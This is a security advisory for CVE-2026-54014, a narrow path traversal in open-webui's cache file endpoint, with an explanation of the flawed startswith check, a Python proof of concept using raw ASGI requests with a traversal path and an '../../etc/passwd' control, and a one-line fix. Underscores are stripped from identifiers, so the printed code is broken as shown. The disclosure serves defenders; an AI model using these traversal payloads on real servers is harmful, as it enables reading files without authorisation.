PT-2026-50486 · Pypi · Open-Webui
Publicado
2026-06-17
·
Atualizado
2026-06-17
·
CVE-2026-54014
CVSS v3.1
4.3
Média
| Vetor | AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N |
Summary
A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete
startswith containment check that lacks a trailing path separator.The root cause is that
serve cache file() in open webui/main.py validates the resolved path with file path.startswith(os.path.abspath(CACHE DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache sibling, cache backup, cached models) to pass validation.Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.
Exploitation constraints
| Constraint | Detail |
|---|---|
| Auth required | get verified user — any user with role user or admin |
| Scope | Only sibling directories starting with cache (e.g. cache backup, cached models) |
| Deep traversal | Blocked — ../../etc/passwd correctly fails the startswith check |
| Absolute paths | Blocked — /etc/passwd correctly fails |
| Client normalization | httpx/browsers normalize .. client-side — must use raw HTTP or ASGI to deliver payload |
Vulnerability Details
Vulnerable function: serve cache file()
python
# open webui/main.py, line 2907-2924
@app.get('/cache/{path:path}')
async def serve cache file(path: str, user=Depends(get verified user)):
file path = os.path.abspath(os.path.join(CACHE DIR, path))
# prevent path traversal
if not file path.startswith(os.path.abspath(CACHE DIR)): # ← BUG: no trailing os.sep
raise HTTPException(status code=404, detail='File not found')
if not os.path.isfile(file path):
raise HTTPException(status code=404, detail='File not found')
return FileResponse(file path, headers=headers)The bypass
python
CACHE DIR = "/data/cache"
# Attacker path: "../cache sibling/secret.txt"
file path = os.path.abspath(os.path.join("/data/cache", "../cache sibling/secret.txt"))
# → "/data/cache sibling/secret.txt"
"/data/cache sibling/secret.txt".startswith("/data/cache")
# → True ← BYPASS (because "cache sibling" starts with "cache")
# Correct check would be:
"/data/cache sibling/secret.txt".startswith("/data/cache/")
# → False ← BLOCKEDProof of Concept
Environment
| Component | Detail |
|---|---|
| open-webui | 0.9.5 (pip installed) |
| Python | 3.11 |
| Import | from open webui.main import app (true import, real FastAPI app) |
| Method | Raw ASGI request (bypasses httpx client-side .. normalization) |
poc.py
python
import asyncio
import os
import shutil
import sys
import tempfile
TEMP DATA = tempfile.mkdtemp(prefix="owui poc ")
os.environ["DATA DIR"] = TEMP DATA
os.environ["WEBUI SECRET KEY"] = "poc secret key 12345"
os.environ["WEBUI AUTH"] = "false"
CACHE DIR = os.path.join(TEMP DATA, "cache")
SIBLING DIR = os.path.join(TEMP DATA, "cache sibling")
os.makedirs(CACHE DIR, exist ok=True)
os.makedirs(SIBLING DIR, exist ok=True)
SECRET CONTENT = "STOLEN FROM SIBLING DIR"
with open(os.path.join(SIBLING DIR, "secret.txt"), "w") as f:
f.write(SECRET CONTENT)
with open(os.path.join(CACHE DIR, "legit.txt"), "w") as f:
f.write("legitimate cache file")
from open webui.main import app
from open webui.utils.auth import get verified user
class FakeUser:
id = "poc"
email = "poc@test"
role = "user"
app.dependency overrides[get verified user] = lambda: FakeUser()
async def raw asgi get(app, path):
"""Send a raw ASGI request without client-side path normalization."""
scope = {
"type": "http",
"method": "GET",
"path": path,
"query string": b"",
"headers": [(b"host", b"localhost")],
"root path": "",
"asgi": {"version": "3.0"},
}
response started = False
status code = None
body parts = []
async def receive():
return {"type": "http.request", "body": b""}
async def send(message):
nonlocal response started, status code
if message["type"] == "http.response.start":
response started = True
status code = message["status"]
elif message["type"] == "http.response.body":
body parts.append(message.get("body", b""))
await app(scope, receive, send)
return status code, b"".join(body parts)
async def main():
s1, b1 = await raw asgi get(app, "/cache/legit.txt")
s2, b2 = await raw asgi get(app, "/cache/../cache sibling/secret.txt")
s3, b3 = await raw asgi get(app, "/cache/../../etc/passwd")
baseline ok = s1 == 200 and b"legitimate cache file" in b1
exploit ok = s2 == 200 and SECRET CONTENT.encode() in b2
deep blocked = s3 == 404
print(f"package: open webui (pip installed)")
print(f"version: 0.9.5")
print(f"function: serve cache file (GET /cache/{{path}})")
print(f"sink: main.py:2914 file path.startswith(os.path.abspath(CACHE DIR))")
print(f"bypass: startswith without trailing os.sep allows sibling-prefix match")
print()
print(f"CACHE DIR: {CACHE DIR}")
print(f"SIBLING: {SIBLING DIR}")
print()
print(f"[baseline] /cache/legit.txt status={s1} body={b1[:40]!r}")
print(f"[exploit] /cache/../cache sibling/secret.txt status={s2} body={b2[:40]!r}")
print(f"[control] /cache/../../etc/passwd status={s3} (should be 404)")
print()
print(f"result: {'VULNERABLE' if exploit ok and baseline ok and deep blocked else 'NOT CONFIRMED'}")
shutil.rmtree(TEMP DATA, ignore errors=True)
sys.exit(0 if exploit ok else 1)
if name == " main ":
asyncio.run(main())
PoC output
Suggested Fix
python
if not file path.startswith(os.path.abspath(CACHE DIR) + os.sep):
raise HTTPException(status code=404, detail='File not found')Single character fix: append
os.sep to the prefix in the startswith check.Correção
Path traversal
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Open-Webui